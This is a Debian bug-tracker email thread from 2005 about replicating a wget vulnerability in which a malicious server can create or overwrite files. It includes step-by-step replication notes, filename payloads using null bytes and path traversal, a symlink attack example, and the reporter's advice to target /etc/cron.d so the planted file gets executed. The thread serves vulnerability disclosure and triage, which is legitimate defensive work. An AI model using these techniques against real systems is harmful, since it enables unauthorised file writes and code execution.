__|o|__Minář irc: <email address hidden>

Revision history for this message

Debian Bug Importer (debzilla) wrote on 2005-02-05:

#16

Message-Id: <email address hidden>
Date: Fri, 04 Feb 2005 02:57:12 +0200
From: Lars Wirzenius <email address hidden>
To: <email address hidden>
Cc: <email address hidden>
Subject: wget security problem: trouble replicating

I had a look at Debian bug 284875, "wget: Arbitrary file
overwriting/appending/creating and other vulnerabilities", specifically
about points (1) and (2) therein. I set up the proof of concept Perl
script to run via inetd, which I think is a working way of setting it
up. The script responds to HTTP queries and does, I think, respond in
the way to trigger the exploit. Lynx and wget both follow the
redirections.

I can't, however, replicate the points (1) and (2) using version
1.9.1-10 in Debian sid. Instead of overwriting or appending or other bad
things happening, wget seems to only create a file with ".1" (or ".2"
etc) appended to the filename. The same happens with 1.9.1-8 in Debian
sarge.

Jan, could you clarify how to replicate these two points? More detailed
steps, a typescript (from script(1)) of a terminal session where you do
it, or something like that?

(I haven't looked at points (3) and (4) yet, I'll do that later.)

Revision history for this message

Debian Bug Importer (debzilla) wrote on 2005-02-05:

#17

Message-Id: <email address hidden>
Date: Sat, 05 Feb 2005 02:41:35 +0200
From: Lars Wirzenius <email address hidden>
To: <email address hidden>
Cc: <email address hidden>
Subject: wget security problem: more reproduction problems

Hi,

I've looked again at Debian bug #284875 and I can't see how to reproduce
the fourth part, either:

> (4) Just about any stupid hack will work with wget. %00 bytes (see the
> POC) and other %-escaped control characters handling, symlink attacks:
>
> $ cd /tmp
> $ ln -s index.html /path/to/foo
> $ wget -x http://localhost/
> -> /path/to/foo

In my tests wget does sanitize the input, so these attacks would seem to
be fruitless. Could you explain in further detail how to reproduce this?

Revision history for this message

Debian Bug Importer (debzilla) wrote on 2005-02-05:

#18

Message-Id: <email address hidden>
Date: Sat, 5 Feb 2005 03:36:22 +0200 (EET)
From: <email address hidden> (Lars Wirzenius)
To: <email address hidden>
Subject: tagging 284875

tags 284875 + unreproducible

Revision history for this message

Debian Bug Importer (debzilla) wrote on 2005-02-05:

#19

Message-ID: <email address hidden>
Date: Sat, 5 Feb 2005 20:45:22 +0000
From: Jan Minar <email address hidden>
To: Lars Wirzenius <email address hidden>, <email address hidden>
Cc: <email address hidden>, <email address hidden>
Subject: Re: Bug#284875: wget security problem: trouble replicating

--azLHFNyN32YCQGCU
Content-Type: text/plain; charset=iso-8859-2
Content-Disposition: inline
Content-Transfer-Encoding: quoted-printable

On Fri, Feb 04, 2005 at 02:57:12AM +0200, Lars Wirzenius wrote:
> I had a look at Debian bug 284875, "wget: Arbitrary file
> overwriting/appending/creating and other vulnerabilities", specifically
> about points (1) and (2) therein. I set up the proof of concept Perl
> script to run via inetd, which I think is a working way of setting it
> up. The script responds to HTTP queries and does, I think, respond in
> the way to trigger the exploit. Lynx and wget both follow the
> redirections.

> I can't, however, replicate the points (1) and (2) using version
> 1.9.1-10 in Debian sid. Instead of overwriting or appending or other bad
> things happening, wget seems to only create a file with ".1" (or ".2"
> etc) appended to the filename. The same happens with 1.9.1-8 in Debian
> sarge.

Anybody wanting to fix this will sooner or later need to RTFM -- no pun
intended; the options are really hairy, and many of them have one or
another bearing on this.

The trick is to use the -c or -N options. Also note that -x can be used
instead of -r. See the discussion in the manpage under the `-nc'
option.

On the server (exploiter's) side, you might use a filename that is highly u=
nlikely to
be present on the target system, yet is highly likely to be executed
(/etc/cron.d/<sufficiently long number number> comes to mind). Note
that it is possible to make an educated guess about the presence/absence
of -c, -N, and -r options.

Cheers,
Jan.
--=20
)^o-o^| jabber: <email address hidden>
| .v K e-mail: jjminar FastMail FM
` - .' phone: +44(0)7981 738 696
\ __/Jan icq: 345 355 493
__|o|__Min=E1=F8 irc: <email address hidden>

--azLHFNyN32YCQGCU
Content-Type: application/pgp-signature
Content-Disposition: inline

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.0.6 (GNU/Linux)
Comment: For info see http://www.gnupg.org

iD8DBQFCBTBi+uczK20Fa5cRAoe4AJsEZVjDb5c2hdYLwRW0nGOf5zhoGwCffHQy
GS/8kcMmCjoBsg0dcdZL/RM=
=Sfq/
-----END PGP SIGNATURE-----

--azLHFNyN32YCQGCU--

Message-ID: <20050205204522.GA4348@kontryhel.haltyr.dyndns.org>
Date: Sat, 5 Feb 2005 20:45:22 +0000
From: Jan Minar <jjminar@FastMail.FM>
To: Lars Wirzenius <liw@iki.fi>, 284875-quiet@bugs.debian.org
Cc: 284875@bugs.debian.org, 284875-submitter@bugs.debian.org
Subject: Re: Bug#284875: wget security problem: trouble replicating

--azLHFNyN32YCQGCU
Content-Type: text/plain; charset=iso-8859-2
Content-Disposition: inline
Content-Transfer-Encoding: quoted-printable

On Fri, Feb 04, 2005 at 02:57:12AM +0200, Lars Wirzenius wrote:
> I had a look at Debian bug 284875, "wget: Arbitrary file
> overwriting/appending/creating and other vulnerabilities", specifically
> about points (1) and (2) therein. I set up the proof of concept Perl
> script to run via inetd, which I think is a working way of setting it
> up. The script responds to HTTP queries and does, I think, respond in
> the way to trigger the exploit. Lynx and wget both follow the
> redirections.

> I can't, however, replicate the points (1) and (2) using version
> 1.9.1-10 in Debian sid. Instead of overwriting or appending or other bad
> things happening, wget seems to only create a file with ".1" (or ".2"
> etc) appended to the filename. The same happens with 1.9.1-8 in Debian
> sarge.

Anybody wanting to fix this will sooner or later need to RTFM -- no pun
intended; the options are really hairy, and many of them have one or
another bearing on this.

The trick is to use the -c or -N options.  Also note that -x can be used
instead of -r.  See the discussion in the manpage under the `-nc'
option.

On the server (exploiter's) side, you might use a filename that is highly u=
nlikely to
be present on the target system, yet is highly likely to be executed
(/etc/cron.d/<sufficiently long number number> comes to mind).  Note
that it is possible to make an educated guess about the presence/absence
of -c, -N, and -r options.

Cheers,
Jan.
--=20
 )^o-o^|    jabber: rdancer@NJS.NetLab.Cz
 | .v  K    e-mail: jjminar FastMail FM
 `  - .'     phone: +44(0)7981 738 696
  \ __/Jan     icq: 345 355 493
 __|o|__Min=E1=F8  irc: rdancer@IRC.FreeNode.Net

--azLHFNyN32YCQGCU
Content-Type: application/pgp-signature
Content-Disposition: inline

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.0.6 (GNU/Linux)
Comment: For info see http://www.gnupg.org

iD8DBQFCBTBi+uczK20Fa5cRAoe4AJsEZVjDb5c2hdYLwRW0nGOf5zhoGwCffHQy
GS/8kcMmCjoBsg0dcdZL/RM=
=Sfq/
-----END PGP SIGNATURE-----

--azLHFNyN32YCQGCU--

Revision history for this message

Debian Bug Importer (debzilla) wrote on 2005-02-05:

#20

Message-ID: <email address hidden>
Date: Sat, 5 Feb 2005 20:51:40 +0000
From: Jan Minar <email address hidden>
To: Lars Wirzenius <email address hidden>, <email address hidden>
Cc: <email address hidden>, <email address hidden>
Subject: Re: Bug#284875: wget security problem: more reproduction problems

--QTprm0S8XgL7H0Dt
Content-Type: text/plain; charset=iso-8859-2
Content-Disposition: inline
Content-Transfer-Encoding: quoted-printable

On Sat, Feb 05, 2005 at 02:41:35AM +0200, Lars Wirzenius wrote:
> I've looked again at Debian bug #284875 and I can't see how to reproduce
> the fourth part, either:
>=20
> > (4) Just about any stupid hack will work with wget. %00 bytes (see the
> > POC) and other %-escaped control characters handling, symlink attacks:
> > =09
> > $ cd /tmp
> > $ ln -s index.html /path/to/foo
> > $ wget -x http://localhost/
> > -> /path/to/foo
>=20
> In my tests wget does sanitize the input, so these attacks would seem to=
=20
> be fruitless. Could you explain in further detail how to reproduce this?

Which version? What command exactly?

--=20
)^o-o^| jabber: <email address hidden>
| .v K e-mail: jjminar FastMail FM
` - .' phone: +44(0)7981 738 696
\ __/Jan icq: 345 355 493
__|o|__Min=E1=F8 irc: <email address hidden>

--QTprm0S8XgL7H0Dt
Content-Type: application/pgp-signature
Content-Disposition: inline

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.0.6 (GNU/Linux)
Comment: For info see http://www.gnupg.org

iD4DBQFCBTHc+uczK20Fa5cRAnHyAJiv4itLJojfxmSdipsoqKGvSa1zAJ9kjPYp
lq17J703vIAtOoiU8hr/9w==
=kpZz
-----END PGP SIGNATURE-----

--QTprm0S8XgL7H0Dt--

Revision history for this message

In Debian Bug tracker #284875, Lars Wirzenius (liw-esme) wrote on 2005-02-08: tagging 284875

#21

tags 284875 - unreproducible

Revision history for this message

Debian Bug Importer (debzilla) wrote on 2005-02-09:

#22

Message-Id: <email address hidden>
Date: Wed, 9 Feb 2005 01:37:53 +0200 (EET)
From: <email address hidden> (Lars Wirzenius)
To: <email address hidden>
Subject: tagging 284875

tags 284875 - unreproducible

Revision history for this message

In Debian Bug tracker #284875, Lars Wirzenius (liw-iki) wrote on 2005-02-09: Re: Bug#284875: wget security problem: trouble replicating

#23

Download full text (5.3 KiB)

My apologies for taking so long to reply.

la, 2005-02-05 kello 20:45 +0000, Jan Minar kirjoitti:
> Anybody wanting to fix this will sooner or later need to RTFM -- no pun
> intended; the options are really hairy, and many of them have one or
> another bearing on this.

Indeed, I probably should have tried hard to replicate it. On the other
hand, when reporting bugs, it is good to be clear and precise;
especially so when reporting security bugs.

Here's what I've now done, and I can indeed replicate some of the things
you reported. Could you explain (in some detail, as it is clear that I
am clueless) how to replicate the rest? Bugs that can't be replicated
usually won't get fixed, either.

I'm using 1.9.1-10, from sid, on i386.

    The bug report claims that "DNS poisoning" needs to
    happen for the output file to be placed somewhere else
    than the current working directory. Since I don't want
    to muck with my DNS server, I'll modify wget so that
    whenever it looks up ".." as a domain name, it will
    get a reply. Change required: src/host.c, around
    line 610, if host equals "..", set it to "127.0.0.1".

    * Get proof-of-concept exploit script from the bug report.
      Store it in /home/liw/Debian-bug-fixing/wget/wgettrap.poc
      and give it execution permissions.

    * Modify the script to open log file /tmp/wgettrap.log in
      append mode and use "/home/xxx" instead of "/home/jan"
      (very small changes).

    * Add the following line to /etc/inetd.conf: "31340 stream
      tcp nowait liw
      /home/liw/Debian-bug-fixing/wget/wgettrap.poc".

    * Create a new user, xxx, and log in as that user. Home
      directory is empty (only contains .bash_history). Create
      directory foo and change to that directory. Create a
      subdirectory of foo called bar.

    * Run: "wget http://localhost:31340/bar". Result:
      ~/foo/.procm4ilrc was created, with contets decided by
      attacker. Conclusion: wget may create files that will be
      executed (such as .procmailrc) if run in a suitable
      location. The worrying part here is that wget chooses
      the name based on data given by the remote end and
      redirections may cause a file to be created that the
      user did not expect from the original URL.

* Run the same command with -c added, after removing the
~/foo/.procm4ilrc file. Same result.

    * Replace ~/foo/.procm4ilrc with empty file, run wget
      without -c. Result: ~/foo/.procm4ilrc.1 is created.
      Conclusion: this works as it should. No worries.

    * Remove ~/foo/.procm4ilrc.1, leave the empty file, and
      run wget with -c. Result: wget appends the contents
      downloaded from the remote end to ~/foo/.procm4ilrc.
      Conclusion: an attacker may replace an empty file with
      data. Difference from what happens with the file not
      existing is that only write permission on the file is
      required, not permission to the current working
      directory.

    * Remove ~/foo/.procm4ilrc, create a new one containing
      the word "hello". Run wget without -c. Result:
      ~/foo/.procm4ilrc.1 is created. Conclusion: ...

My apologies for taking so long to reply.

la, 2005-02-05 kello 20:45 +0000, Jan Minar kirjoitti:
> Anybody wanting to fix this will sooner or later need to RTFM -- no pun
> intended; the options are really hairy, and many of them have one or
> another bearing on this.

Indeed, I probably should have tried hard to replicate it. On the other
hand, when reporting bugs, it is good to be clear and precise;
especially so when reporting security bugs.

Here's what I've now done, and I can indeed replicate some of the things
you reported. Could you explain (in some detail, as it is clear that I
am clueless) how to replicate the rest? Bugs that can't be replicated
usually won't get fixed, either.

I'm using 1.9.1-10, from sid, on i386.

The bug report claims that "DNS poisoning" needs to
    happen for the output file to be placed somewhere else
    than the current working directory. Since I don't want
    to muck with my DNS server, I'll modify wget so that
    whenever it looks up ".." as a domain name, it will
    get a reply. Change required: src/host.c, around
    line 610, if host equals "..", set it to "127.0.0.1".
    
    * Get proof-of-concept exploit script from the bug report.
      Store it in /home/liw/Debian-bug-fixing/wget/wgettrap.poc
      and give it execution permissions.
    
    * Modify the script to open log file /tmp/wgettrap.log in
      append mode and use "/home/xxx" instead of "/home/jan"
      (very small changes).
      
    * Add the following line to /etc/inetd.conf: "31340 stream
      tcp nowait liw
      /home/liw/Debian-bug-fixing/wget/wgettrap.poc".
      
    * Create a new user, xxx, and log in as that user. Home
      directory is empty (only contains .bash_history). Create
      directory foo and change to that directory. Create a
      subdirectory of foo called bar.
      
    * Run: "wget http://localhost:31340/bar". Result:
      ~/foo/.procm4ilrc was created, with contets decided by
      attacker. Conclusion: wget may create files that will be
      executed (such as .procmailrc) if run in a suitable
      location. The worrying part here is that wget chooses
      the name based on data given by the remote end and
      redirections may cause a file to be created that the
      user did not expect from the original URL.
      
    * Run the same command with -c added, after removing the
      ~/foo/.procm4ilrc file. Same result.
      
    * Replace ~/foo/.procm4ilrc with empty file, run wget
      without -c. Result: ~/foo/.procm4ilrc.1 is created.
      Conclusion: this works as it should. No worries.
      
    * Remove ~/foo/.procm4ilrc.1, leave the empty file, and
      run wget with -c. Result: wget appends the contents
      downloaded from the remote end to ~/foo/.procm4ilrc.
      Conclusion: an attacker may replace an empty file with
      data. Difference from what happens with the file not
      existing is that only write permission on the file is
      required, not permission to the current working
      directory.
      
    * Remove ~/foo/.procm4ilrc, create a new one containing
      the word "hello". Run wget without -c. Result:
      ~/foo/.procm4ilrc.1 is created. Conclusion: No worries.
      
    * Remove ~/foo/.procm4ilrc.1, leaving non-empty
      ~/foo/.procm4ilrc. Run wget with -c. Result: "Continued
      download failed on this file, which conflicts with `-c'.
      Refusing to truncate existing file `.procm4ilrc'."
      ~/foo/.procm4ilrc is unmodified. Conclusion: No worries.
      
    * Replace ~/foo/.procm4ilrc with a contents of the GPL
      (version 2). Run wget without -c. Result:
      ~/foo/.procm4ilrc.1 is created, ~/foo/.procm4ilrc is
      intact. Conclusion: no worries.
      
    * Remove ~/foo/.procm4ilrc.1, run wget with -c. Result:
      "The file is already fully retrieved; nothing to do.".
      ~/foo/.procm4ilrc is intact. Conclusion: No worries.
      
    * Remove ~/foo/.procm4ilrc, create a new one with half
      the content of the file the attacker wants to send.
      Run without -c. Result: ~/foo/.procm4ilrc.1. Conclusion:
      No worries.
      
    * Remove ~/foo/.procm4ilrc.1. Run wget with -c. Result:
      "The file is already fully retrieved; nothing to do.".
      Conclusion: No worries.
      
    * Modify wgettrap.poc to use
      "/home/xxx/foo/bar/.procm4ilrc%00This%20part%20will%20be%
20ignored."
      as the filename.
      
    * Still in ~/foo, after having removed any files, run wget
      without -c. Result: ~/foo/.procm4ilrc, not
      ~/foo/bar/.procm4ilrc. Conclusion: No worries.
      
    * Remove ~/foo/.procm4ilrc. Run wget with -c. Result: same
      as without. Conclusion: No worries.
    
    * Remove ~/foo/.procm4ilrc. Run wget with -x. Result:
      ~/foo/localhost:31340/..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%
2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%
2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%
2F..%2F..%2F..%2F../home/xxx/foo/bar/.procm4ilrc
      is created. Conclusion: No worries.

Summary: I can replicate some of the claims in the bug
    report. Wget may create a new file in the current directory,
    or replace an empty one, with evil content and with a name
    that is surprising to the user. I have not been able to
    replicate the claim that the attacker may put the file
    in the parent directory or in a subdirectory of the
    current working directory.

Revision history for this message

Debian Bug Importer (debzilla) wrote on 2005-02-09:

#24

Download full text (5.6 KiB)

Message-Id: <email address hidden>
Date: Wed, 09 Feb 2005 02:42:58 +0200
From: Lars Wirzenius <email address hidden>
To: Jan Minar <email address hidden>
Cc: <email address hidden>
Subject: Re: Bug#284875: wget security problem: trouble replicating